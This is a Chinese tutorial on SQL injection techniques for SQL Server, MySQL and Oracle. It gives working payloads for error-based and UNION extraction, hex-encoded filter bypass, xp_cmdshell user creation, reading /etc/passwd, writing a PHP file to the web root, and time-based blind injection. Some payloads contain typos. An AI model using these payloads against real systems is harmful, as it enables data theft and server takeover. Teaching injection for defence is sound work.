淺談三種數(shù)據(jù)庫的?SQL?注入
SQL 注入原理
SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細(xì)致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。
SQL 注入分類
1. 數(shù)字型注入
當(dāng)輸入的參數(shù)為整型時(shí),則有可能存在數(shù)字型注入漏洞。
假設(shè)存在一條 URL 為:HTTP://www.aaa.com/test.php?id=1
可以對(duì)后臺(tái)的 SQL 語句猜測(cè)為:
SELECT * FROM table WHERE id=1
判斷數(shù)字型漏洞的 SQL 注入點(diǎn):
① 先在輸入框中輸入一個(gè)單引號(hào) '
這樣的 SQL 語句就會(huì)變?yōu)椋?/p>
SELECT * FROM table WHERE id=1',
不符合語法,所以該語句肯定會(huì)出錯(cuò),導(dǎo)致腳本程序無法從數(shù)據(jù)庫獲取數(shù)據(jù),從而使原來的頁面出現(xiàn)異常。
② 在輸入框中輸入 and 1 = 1
SQL語句變?yōu)椋?/p>
SELECT * FROM table WHERE id=1 and 1 = 1
語句正確,執(zhí)行正常,返回的數(shù)據(jù)與原始請(qǐng)求無任何差異。
③ 在數(shù)據(jù)庫中輸入 and 1 = 2
SQL 語句變?yōu)椋?/p>
SELECT * FROM table WHERE id=1 and 1 = 2
雖然語法正確,語句執(zhí)行正常,但是邏輯錯(cuò)誤,因?yàn)?1 = 2 為永假,所以返回?cái)?shù)據(jù)與原始請(qǐng)求有差異。
如果以上三個(gè)步驟全部滿足,則程序就可能存在數(shù)字型 SQL 注入漏洞。
2. 字符型注入
當(dāng)輸入?yún)?shù)為字符串時(shí),則可能存在字符型注入漏洞。數(shù)字型與字符型注入最大的區(qū)別在于:數(shù)字型不需要單引號(hào)閉合,而字符型一般需要使用單引號(hào)來閉合。
字符型注入最關(guān)鍵的是如何閉合 SQL 語句以及注釋多余的代碼。
假設(shè)后臺(tái)的 SQL 語句如下:
SELECT * FROM table WHERE username = 'admin'
判斷字符型漏洞的 SQL 注入點(diǎn):
① 還是先輸入單引號(hào) admin'
來測(cè)試
這樣的 SQL 語句就會(huì)變?yōu)椋?/p>
SELECT * FROM table WHERE username = 'admin''。
頁面異常。
② 輸入:admin' and 1 = 1 --
注意:在 admin 后有一個(gè)單引號(hào) '
,用于字符串閉合,最后還有一個(gè)注釋符 --
(兩條杠后面還有一個(gè)空格?。。?。
SQL 語句變?yōu)椋?/p>
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
頁面顯示正確。
③ 輸入:admin' and 1 = 2 --
SQL 語句變?yōu)椋?/p>
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
頁面錯(cuò)誤。
滿足上面三個(gè)步驟則有可能存在字符型 SQL 注入。
3. 其他類型
其實(shí)我覺得 SQL 注入只有兩種類型:數(shù)字型與字符型。很多人可能會(huì)說還有如:Cookie 注入、POST 注入、延時(shí)注入等。
的確如此,但這些類型的注入歸根結(jié)底也是數(shù)字型和字符型注入的不同展現(xiàn)形式或者注入的位置不同罷了。
以下是一些常見的注入叫法:
- POST注入:注入字段在 POST 數(shù)據(jù)中
- Cookie注入:注入字段在 Cookie 數(shù)據(jù)中
- 延時(shí)注入:使用數(shù)據(jù)庫延時(shí)特性注入
- 搜索注入:注入處為搜索的地方
- base64注入:注入字符串需要經(jīng)過 base64 加密
常見數(shù)據(jù)庫的注入
攻擊者對(duì)于數(shù)據(jù)庫注入,無非是利用數(shù)據(jù)庫獲取更多的數(shù)據(jù)或者更大的權(quán)限,利用的方式可以歸結(jié)為以下幾類:
- 查詢數(shù)據(jù)
- 讀寫文件
- 執(zhí)行命令
攻擊者對(duì)于程序注入,無論任何數(shù)據(jù)庫,無非都是在做這三件事,只不過不同的數(shù)據(jù)庫注入的 SQL 語句不一樣罷了。
這里介紹三種數(shù)據(jù)庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。
SQL Server
1. 利用錯(cuò)誤消息提取信息
SQL Server 數(shù)據(jù)庫是一個(gè)非常優(yōu)秀的數(shù)據(jù)庫,它可以準(zhǔn)確地定位錯(cuò)誤信息,這對(duì)攻擊者來說是一件十分美好的事情,因?yàn)楣粽呖梢酝ㄟ^錯(cuò)誤消息提取自己想要的數(shù)據(jù)。
① 枚舉當(dāng)前表或者列
假設(shè)選擇存在這樣一張表:
查詢 root 用戶的詳細(xì)信息,SQL 語句猜測(cè)如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻擊者可以利用 SQL Server 特性來獲取敏感信息,在輸入框中輸入如下語句:' having 1 = 1 --
最終執(zhí)行的 SQL 語句就會(huì)變?yōu)椋?/p>
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那么 SQL 的執(zhí)行器可能會(huì)拋出一個(gè)錯(cuò)誤:
攻擊者就可以發(fā)現(xiàn)當(dāng)前的表名為 user、而且存在字段 id。
攻擊者可以利用此特性繼續(xù)得到其他列名,輸入如下語句:
' GROUP BY users.id HAVING 1 = 1 --
則 SQL 語句變?yōu)椋?/p>
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
拋出錯(cuò)誤:
由此可以看到包含列名 username??梢砸淮芜f歸查詢,知道沒有錯(cuò)誤消息返回位置,這樣就可以利用 HAVING 字句得到當(dāng)表的所有列名。
注:Select指定的每一列都應(yīng)該出現(xiàn)在Group By子句中,除非對(duì)這一列使用了聚合函數(shù)
②. 利用數(shù)據(jù)類型錯(cuò)誤提取數(shù)據(jù)
如果試圖將一個(gè)字符串與非字符串比較,或者將一個(gè)字符串轉(zhuǎn)換為另一個(gè)不兼容的類型,那么SQL 編輯器將會(huì)拋出異常。
如下列 SQL 語句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
執(zhí)行器錯(cuò)誤提示:
這就可以獲取到用戶的用戶名為 root。因?yàn)樵谧硬樵?SELECT TOP 1 username FROM users
中,將查詢到的用戶名的第一個(gè)返回,返回類型是 varchar 類型,然后要跟 int 類型的 1 比較,兩種類型不同的數(shù)據(jù)無法比較而報(bào)錯(cuò),從而導(dǎo)致了數(shù)據(jù)泄露。
利用此方法可以遞歸推導(dǎo)出所有的賬戶信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
通過構(gòu)造此語句就可以獲得下一個(gè) 用戶名;若把子查詢中的 username 換成其他列名,則可以獲取其他列的信息,這里就不再贅述。
2. 獲取元數(shù)據(jù)
SQL Server 提供了大量視圖,便于取得元數(shù)據(jù)??梢韵炔聹y(cè)出表的列數(shù),然后用 UNION 來構(gòu)造 SQL 語句獲取其中的數(shù)據(jù)。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若當(dāng)前表的列數(shù)為 2,則可以 UNION 語句獲取當(dāng)前數(shù)據(jù)庫表。具體怎么猜測(cè)當(dāng)前表的列數(shù),后面進(jìn)行描述。
一些常用的系統(tǒng)數(shù)據(jù)庫視圖:
數(shù)據(jù)庫視圖 | 說明 |
---|---|
SYS.DATABASES | SQL Server 中的所有數(shù)據(jù)庫 |
SYS.SQL_LOGINS | SQL Server 中的所有登錄名 |
INFORMATION_SCHEMA.TABLES | 當(dāng)前用戶數(shù)據(jù)庫中的所有數(shù)據(jù)表 |
INFORMATION_SCHEMA.COLUMNS | 當(dāng)前用戶數(shù)據(jù)庫中的所有列 |
SYS.ALL_COLUMNS | 用戶定義對(duì)象和系統(tǒng)對(duì)象的所有列的聯(lián)合 |
SYS.DATABASE_PRINCIPALS | 數(shù)據(jù)庫中每個(gè)權(quán)限或列異常權(quán)限 |
SYS.DATABASE_FILES | 存儲(chǔ)在數(shù)據(jù)庫中的數(shù)據(jù)庫文件 |
SYSOBJECTS | 數(shù)據(jù)庫中創(chuàng)建的每個(gè)對(duì)象 (包括約束、日志以及存儲(chǔ)過程) |
3. ORDER BY 子句猜測(cè)列數(shù)
可以用 ORDER BY 語句來判斷當(dāng)前表的列數(shù)。
如:
① SELECT * FROM users WHERE id = 1
——SQL執(zhí)行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(按照第一列排序)——SQL執(zhí)行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(按照第二列排序)——SQL執(zhí)行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(按照第三列排序)——SQL 執(zhí)行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(按照第四列排序)——SQL 拋出異常:
由此可以得出,當(dāng)前表的列數(shù)只有 3 列,因?yàn)楫?dāng)按照第 4 列排序時(shí)報(bào)錯(cuò)了。在 Oracle 和 MySql 數(shù)據(jù)庫中同樣適用此方法。
在得知列數(shù)后,攻擊者通常會(huì)配合 UNION 關(guān)鍵字進(jìn)行下一步的攻擊。
4. UNION 查詢
UNION 關(guān)鍵字將兩個(gè)或多個(gè)查詢結(jié)果組合為單個(gè)結(jié)果集,大部分?jǐn)?shù)據(jù)庫都支持 UNION 查詢。但適用 UNION 合并兩個(gè)結(jié)果有如下基本規(guī)則:
- 所有查詢中的列數(shù)必須相同
- 數(shù)據(jù)類型必須兼容
① 用 UNION 查詢猜測(cè)列數(shù)
不僅可以用 ORDER BY 方法來猜測(cè)列數(shù),UNION 方法同樣可以。
在之前假設(shè)的 user 表中有 5 列,若我們用 UNION 聯(lián)合查詢:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
數(shù)據(jù)庫會(huì)發(fā)出異常:
可以通過遞歸查詢,直到無錯(cuò)誤產(chǎn)生,就可以得知 User 表的查詢字段數(shù):UNION SELECT 1,2
、UNION SELECT 1,2,3
也可以將 SELECT 后面的數(shù)字改為 null、這樣不容易出現(xiàn)不兼容的異常。
② 聯(lián)合查詢敏感信息
在得知列數(shù)為 4后,可以使用一下語句繼續(xù)注入:UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(注:xtype=‘U’ 表示對(duì)象類型是表)
若第一列的數(shù)據(jù)類型不匹配,數(shù)據(jù)庫會(huì)報(bào)錯(cuò),那么可以遞歸查詢,直到語句兼容。等到語句正常執(zhí)行,就可以將 x 換為 SQL 語句,查詢敏感信息。
5. 利用SQL Server 提供的系統(tǒng)函數(shù)
SQL Server 提供了非常多的系統(tǒng)函數(shù),利用該系統(tǒng)函數(shù)可以訪問 SQL Server 系統(tǒng)表中的信息,而無需使用 SQL 查詢語句。
如:
- SELECT suser_name():返回用戶的登錄標(biāo)識(shí)名
- SELECT user_name():基于指定的標(biāo)識(shí)號(hào)返回?cái)?shù)據(jù)庫用戶名
- SELECT db_name():返回?cái)?shù)據(jù)庫名
- SELECT is_member(‘db_owner’):是否為數(shù)據(jù)庫角色
- SELECT convert(int, ‘5’):數(shù)據(jù)類型轉(zhuǎn)換
6. 存儲(chǔ)過程
存儲(chǔ)過程 (Stored Procedure) 是在大型數(shù)據(jù)庫系統(tǒng)中為了完成特定功能的一組 SQL “函數(shù)”,如:執(zhí)行系統(tǒng)命令、查看注冊(cè)表、讀取磁盤目錄等。
攻擊者最長使用的存儲(chǔ)過程是 “xp_cmdshell”,這個(gè)存儲(chǔ)過程允許用戶執(zhí)行操作系統(tǒng)命令。
例如:http://www.aaa.org/test.aspx?id=1
中存在注入點(diǎn),那么攻擊者就可以實(shí)施命令攻擊:http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最終執(zhí)行的 SQL 語句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分號(hào)后面的那一段語句就可以為攻擊者在對(duì)方服務(wù)器上新建一個(gè)用戶名為 test、密碼為 test 的用戶。
注:并不是任何數(shù)據(jù)庫用戶都可以使用此類存儲(chǔ)過程,用戶必須持有 CONTROL SERVER 權(quán)限。
常見的危險(xiǎn)存儲(chǔ)過程如下表:
存儲(chǔ)過程 | 說明 |
---|---|
sp_addlogin | 創(chuàng)建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實(shí)例 |
sp_dropuser | 從當(dāng)前數(shù)據(jù)庫中刪除數(shù)據(jù)庫用戶 |
xp_enumgroups | 提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表 |
xp_regread | 讀取注冊(cè)表 |
xp_regwrite | 寫入注冊(cè)表 |
xp_redeletevalue | 刪除注冊(cè)表 |
xp_dirtree | 讀取目錄 |
sp_password | 更改密碼 |
xp_servicecontrol | 停止或激活某服務(wù) |
另外,任何數(shù)據(jù)庫在使用一些特殊的函數(shù)或存儲(chǔ)過程時(shí),都需要特定的權(quán)限。常見的SQL Server 數(shù)據(jù)庫的角色與權(quán)限如下:
角色 | 權(quán)限 |
---|---|
bulkadmin | 可以運(yùn)行 BULK INSERT 語句 |
dbcreator | 可以創(chuàng)建、更改、刪除和還原任何數(shù)據(jù)庫 |
diskadmin | 可以管理磁盤文件 |
processadmin | 可以種植在數(shù)據(jù)庫引擎中運(yùn)行的實(shí)例 |
securityadmin | 可以管理登錄名及其屬性;可以利用 GRANT、DENY 和 REVOKE 服務(wù)器級(jí)別的權(quán)限;還可以利用 GRANT、DENY 和 REVOKE 數(shù)據(jù)庫級(jí)別的權(quán)限;此外也可以重置 SQL Server 登錄名的密碼 |
serveradmin | 可以更改服務(wù)器范圍的配置選項(xiàng)和關(guān)閉服務(wù)器 |
setupadmin | 可以添加和刪除鏈接服務(wù)器,并可以執(zhí)行某些系統(tǒng)存儲(chǔ)過程 |
sysadmin | 可以在數(shù)據(jù)庫引擎中執(zhí)行任何活動(dòng) |
7. 動(dòng)態(tài)執(zhí)行
SQL Server 支持動(dòng)態(tài)執(zhí)行語句,用戶可以提交一個(gè)字符串來執(zhí)行 SQL 語句。
如:exec('SELECT username, password FROM users')
也可以通過定義十六進(jìn)制的 SQL 語句,使用 exec 函數(shù)執(zhí)行。大部分 Web 應(yīng)用程序和防火墻都過濾了單引號(hào),利用 exec 執(zhí)行十六進(jìn)制 SQL 語句可以突破很多防火墻及防注入程序,如:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
前面詳細(xì)講述了 SQL Server 的注入過程,在注入其他數(shù)據(jù)庫時(shí),基本思路是相同的,只不過兩者使用的函數(shù)或者是語句稍有差異。
1. MySQL 中的注釋
MySQL 支持以下 3 中注釋風(fēng)格:
- “#”: 注釋從 “#” 到行尾
- "-- " :注釋從 “-- ”序列到行位,需要注意的是使用此注釋時(shí),后面需要跟上空格
- /**/:注釋從 /* 到 */ 之間的字符
2. 獲取元數(shù)據(jù)
MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,這是一個(gè)信息數(shù)據(jù)庫,它提供了訪問數(shù)據(jù)庫元數(shù)據(jù)的方式。下面介紹如何從中讀取數(shù)據(jù)庫名稱、表名稱以及列名稱。
① 查詢用戶數(shù)據(jù)庫名稱SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關(guān)于數(shù)據(jù)庫的信息。
②查詢當(dāng)前數(shù)據(jù)表SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了數(shù)據(jù)庫中表的信息。
③查詢指定表的所有字段SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列信息。
3. UNION 查詢
與 SQL Server 大致相同,此處不贅述。
4. MySQL 函數(shù)利用
無論是 MySQL、Oracle 還是其他數(shù)據(jù)庫都內(nèi)置了許多系統(tǒng)函數(shù),這些數(shù)據(jù)庫函數(shù)都非常類似,接下來介紹一些對(duì)滲透測(cè)試人員很有幫助的 MySQL 函數(shù)。
① load_file() 函數(shù)讀文件操作
MySQL 提供了 load_file() 函數(shù),可以幫助用戶快速讀取文件,但文件的位置必須在服務(wù)器上,文件必須為絕對(duì)路徑,且用戶必須有 FILE 權(quán)限,文件容量也必須小于 max_allowed_packet 字節(jié) (默認(rèn)為 16MB,最大為 1GB)。
SQL 語句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
通常一些防注入語句不允許單引號(hào)出現(xiàn),那么可以使用一下語句繞過:UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 為 “/etc/passwd” 的十六進(jìn)制轉(zhuǎn)換結(jié)果。
在瀏覽器返回?cái)?shù)據(jù)時(shí),有可能存在亂碼問題,那么可以使用 hex() 函數(shù)將字符串轉(zhuǎn)換為十六進(jìn)制數(shù)據(jù)。
② into outfile 寫文件操作
MySQL 提供了向磁盤寫文件的操作,與 load_file() 一樣,必須有 FILE 權(quán)限,并且文件必須為全路徑名稱。
寫入文件:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'
③ 連接字符串
MySQL 如果需要一次查詢多個(gè)數(shù)據(jù),可以使用 concat() 或 concat_ws() 函數(shù)來完成。
SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());
也可以將逗號(hào)改用十六進(jìn)制表示:0x2c
5. MySQL 顯錯(cuò)式注入
MySQL 也存在顯錯(cuò)式注入,可以像 SQL Server 數(shù)據(jù)庫那樣,使用錯(cuò)誤提取消息。
① 通過 updatexml 函數(shù)執(zhí)行 SQL 語句
首先了解下updatexml()函數(shù):
updatexml (XML_document, XPath_string, new_value);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱;
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函數(shù)是將其連成一個(gè)字符串,因此不會(huì)符合XPATH_string的格式,從而出現(xiàn)格式錯(cuò)誤,報(bào)錯(cuò),會(huì)顯示出無法識(shí)別的內(nèi)容:
② 通過 extractvalue函數(shù)
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同樣報(bào)錯(cuò)顯示出當(dāng)前用戶:
6. 寬字節(jié)注入
寬字節(jié)注入是由編碼不統(tǒng)一所造成的,這種注入一般出現(xiàn)在 PHP + MySQL中。
在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 選項(xiàng),被稱為魔術(shù)引號(hào),當(dāng)此選項(xiàng)被打開時(shí),使用 GET、POST、Cookie 所接受的 單引號(hào)(’)、雙引號(hào)(")、反斜線() 和 NULL 字符都會(huì)自動(dòng)加上一個(gè)反斜線轉(zhuǎn)義。
如下使用 PHP 代碼使用 $_GET 接收參數(shù):
如訪問URL:http:/www.xxser.com/Get.php?id='
,顯示如下:
單引號(hào)'
被轉(zhuǎn)義后就變成了\'
,在 MySQL 中,\'
是一個(gè)合法的字符,也就沒辦法閉合單引號(hào),所以,注入類型是字符型時(shí)無法構(gòu)成注入。
但是若是輸入:%d5'
,訪問URL:http:/www.xxser.com/Get.php?id=%d5'
,顯示如下:
可以發(fā)現(xiàn),這次單引號(hào)沒有被轉(zhuǎn)義,這樣就可以突破 PHP 轉(zhuǎn)義,繼續(xù)閉合 SQL 語句進(jìn)行 SQL 注入。
7. MySQL 長字符截?cái)?/p>
MySQL 超長字符截?cái)嘤置?“SQL-Column-Truncation”。
在 MySQL 中的一個(gè)設(shè)置里有一個(gè) sql_mode 選項(xiàng),當(dāng) sql_mode 設(shè)置為 default 時(shí),即沒有開啟 STRICT——ALL_TABLES 選項(xiàng)時(shí),MySQL 對(duì)插入超長的值只會(huì)提示 waring,而不是 error。
假設(shè)有一張表如下:
username 字段的長度為 7。
分別插入一下 SQL 語句:
① 插入正常 SQL 語句:
INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
成功插入。
② 插入錯(cuò)誤的 SQL 語句,使 username 字段的長度超過7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
雖然有警告,但是成功插入了。
③ 再嘗試插入一條錯(cuò)誤的 SQL 語句,長度同一超過原有的規(guī)定長度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
查詢數(shù)據(jù)庫:
可以看到,三條數(shù)據(jù)都被插入到數(shù)據(jù)庫中,但是值發(fā)生了變化。在默認(rèn)情況下,如果數(shù)據(jù)超出默認(rèn)長度,MySQL 會(huì)將其階段。
但是這樣怎么攻擊呢?通過查詢用戶名為 admin 的用戶:
可以發(fā)現(xiàn),只查詢用戶名為 admin 的用戶,但是另外兩個(gè)長度不一致的 admin 用戶也被查詢出,這樣就會(huì)造成一些安全問題。
比如有一處管理員登錄時(shí)這樣判斷的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
那么攻擊者只需要注冊(cè)一個(gè)長度超過規(guī)定長度的用戶名“admin ”即可輕易進(jìn)入后臺(tái)管理頁面。
8. 延時(shí)注入
延時(shí)注入屬于盲注技術(shù)的一種,是一種基于時(shí)間差異的注入技術(shù)。下面以 MySQL 為例介紹延時(shí)注入。
在 MySQL 中有一個(gè)函數(shù):sleep(duration),這個(gè)函數(shù)意思是在 duration 參數(shù)給定數(shù)秒后運(yùn)行語句,如下 SQL 語句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是將在 3 秒后執(zhí)行該 SQL 語句。
可以使用這個(gè)函數(shù)來判斷 URL 是否存在 SQL 注入漏洞,步驟如下:
通過頁面返回的世界可以斷定,DBMS 執(zhí)行了 and sleep(3)
語句,這樣一來就可以判斷出 URL 存在 SQL 注入漏洞。
然后通過 sleep() 函數(shù)還可以讀出數(shù)據(jù),但需要其他函數(shù)的配合,步驟如下:
①查詢當(dāng)前用戶,并取得字符串長度
執(zhí)行SQL 語句:
AND if(length(user()) = 0, sleep(3), 1)
如果出現(xiàn) 3 秒延時(shí),就可以判斷出 user 字符串長度,注入時(shí)通常會(huì)采用折半算法減少判斷。
② 截取字符串第一個(gè)字符,并轉(zhuǎn)換為 ASCII 碼
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1) AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1) ……
不斷更換 ASCII 碼直到出現(xiàn)延時(shí) 3 秒就可以猜測(cè)出第一個(gè)字符。
③ 遞歸截取字符串每一個(gè)字符,分別于 ASCII 碼比較
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第幾個(gè)字符,N 的位置代表 ASCII 碼。
不僅在 MySQL 中存在延時(shí)函數(shù),在 SQL Server、Oracle 等數(shù)據(jù)庫中也都存在類似功能的函數(shù),如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數(shù)。
Oracle
1. 獲取元數(shù)據(jù)
Oracle 也支持查詢?cè)獢?shù)據(jù),下面是 Oracle 注入常用的元數(shù)據(jù)視圖:
① user_tablespaces 視圖,查看表空間
SELECT tablespace_name FROM user_tablespaces
② user_tables 視圖,查看當(dāng)前用戶的所有表
SELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns 視圖,查看當(dāng)前用戶的所有列,如查詢 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users 視圖,查看 ORacle 數(shù)據(jù)庫的所有用戶
SELECT username FROM all_users
⑤ user_objects 視圖,查看當(dāng)前用戶的所有對(duì)象 (表名稱、約束、索引)
SELECT object_name FROM user_objects
2. UNION 查詢
Oracle 與 MySQL 一樣不支持多語句執(zhí)行,不像 SQL Server 那樣可以用分號(hào)隔開從而注入多條 SQL 語句。
①獲取列的總數(shù)
獲取列總數(shù)方法與前面兩種數(shù)據(jù)庫類似,依然可以使用 ORDER BY 子句來完成。
另一種方法是利用 UNION 關(guān)鍵字來確定,但是 Oracle 規(guī)定,每次查詢時(shí)后面必須跟表的名稱,否則查詢將不成立。
在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
這里的 dual 是 Oracle 中的虛擬表,在不知道數(shù)據(jù)庫中存在哪些表的情況下,可以使用此表作為查詢表。
然后獲取非數(shù)字類型列,即可以顯示出信息的列:
UNION SELECT 'null', null, null, …… FROM dual UNION SELECT null, 'null', null, …… FROM dual
把每一位的 null
依次用單引號(hào) ’ 引起來,如果報(bào)錯(cuò),則不是字符串類型的列;如果返回正常,則是字符串類型的列,就可以在相應(yīng)的位置插入查詢語句獲取信息。
② 獲取敏感信息
常見的敏感信息如下:
- 當(dāng)前用戶權(quán)限:SELECT * FROM session_roles
- 當(dāng)前數(shù)據(jù)庫版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
- 服務(wù)器出口 IP:用utl_http.request 可以實(shí)現(xiàn)
- 服務(wù)器監(jiān)聽 IP:SELECT utl_inaddr.get_host_address FROM dual
- 服務(wù)器操作系統(tǒng):SELECT member FROM v$logfile WHERE rownum = 1
- 服務(wù)器 SID:SELECT instance_name FROM v$instance
- 當(dāng)前連接用戶:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ 獲取數(shù)據(jù)庫表及其內(nèi)容
在得知表的列數(shù)之后,可以通過查詢?cè)獢?shù)據(jù)的方式查詢表名稱、列名稱,然后查詢數(shù)據(jù),如:http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查詢數(shù)據(jù)時(shí)同樣要注意數(shù)據(jù)類型,否則無法查詢,只能一一測(cè)試,改變參數(shù)的查詢位置。
到此這篇關(guān)于淺談三種數(shù)據(jù)庫的 SQL 注入的文章就介紹到這了,更多相關(guān)SQL 注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
- 數(shù)據(jù)庫之SQL注入原理以及過程的簡單介紹
- 一個(gè)簡單的后臺(tái)與數(shù)據(jù)庫交互的登錄與注冊(cè)[sql注入處理、以及MD5加密]
- Mysql數(shù)據(jù)庫使用concat函數(shù)執(zhí)行SQL注入查詢
- sql注入數(shù)據(jù)庫修復(fù)的兩種實(shí)例方法
- 數(shù)據(jù)庫SqlParameter 的插入操作,防止sql注入的實(shí)現(xiàn)代碼
- SQL數(shù)據(jù)庫的高級(jí)sql注入的一些知識(shí)
- 數(shù)據(jù)庫中的內(nèi)容字段被掛馬的替換方法 SQL注入
- ASP+MSSQL2000 數(shù)據(jù)庫被批量注入后的解決方法
- sql注入數(shù)據(jù)庫原理詳情介紹
相關(guān)文章
關(guān)于navicat事務(wù)自動(dòng)提交問題
這篇文章主要介紹了關(guān)于navicat事務(wù)自動(dòng)提交問題,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-12-12RBAC簡介_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理
這篇文章主要介紹了RBAC簡介,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-08-08Navicat保存查詢和查詢文件放在哪個(gè)位置最佳方法推薦
這篇文章主要介紹了Navicat保存查詢和查詢文件放在哪個(gè)位置,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-08-08一文弄懂?dāng)?shù)據(jù)庫設(shè)計(jì)的三范式
面試中經(jīng)常會(huì)問到的數(shù)據(jù)庫三范式指的是什么,本文主要介紹了數(shù)據(jù)庫設(shè)計(jì)的三范式,對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-07-07如何使用navicat遠(yuǎn)程連接openGauss
公司要在openEuler系統(tǒng)中安裝openGauss數(shù)據(jù)庫,經(jīng)過幾天的查資料,終于是安裝成功了,并且能在navicat中遠(yuǎn)程連接使用,本文給大家介紹如何使用navicat遠(yuǎn)程連接openGauss,感興趣的朋友跟隨小編一起看看吧2023-10-10mycat在windows環(huán)境下的安裝和啟動(dòng)
這篇文章主要介紹了mycat在windows環(huán)境下的安裝和啟動(dòng)過程,需要的朋友參考下吧2018-03-03Navicat Premium 15 永久破解激活工具及安裝教程(親測(cè)可用)
這篇文章主要介紹了Navicat Premium 15 永久破解激活教程,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-11-11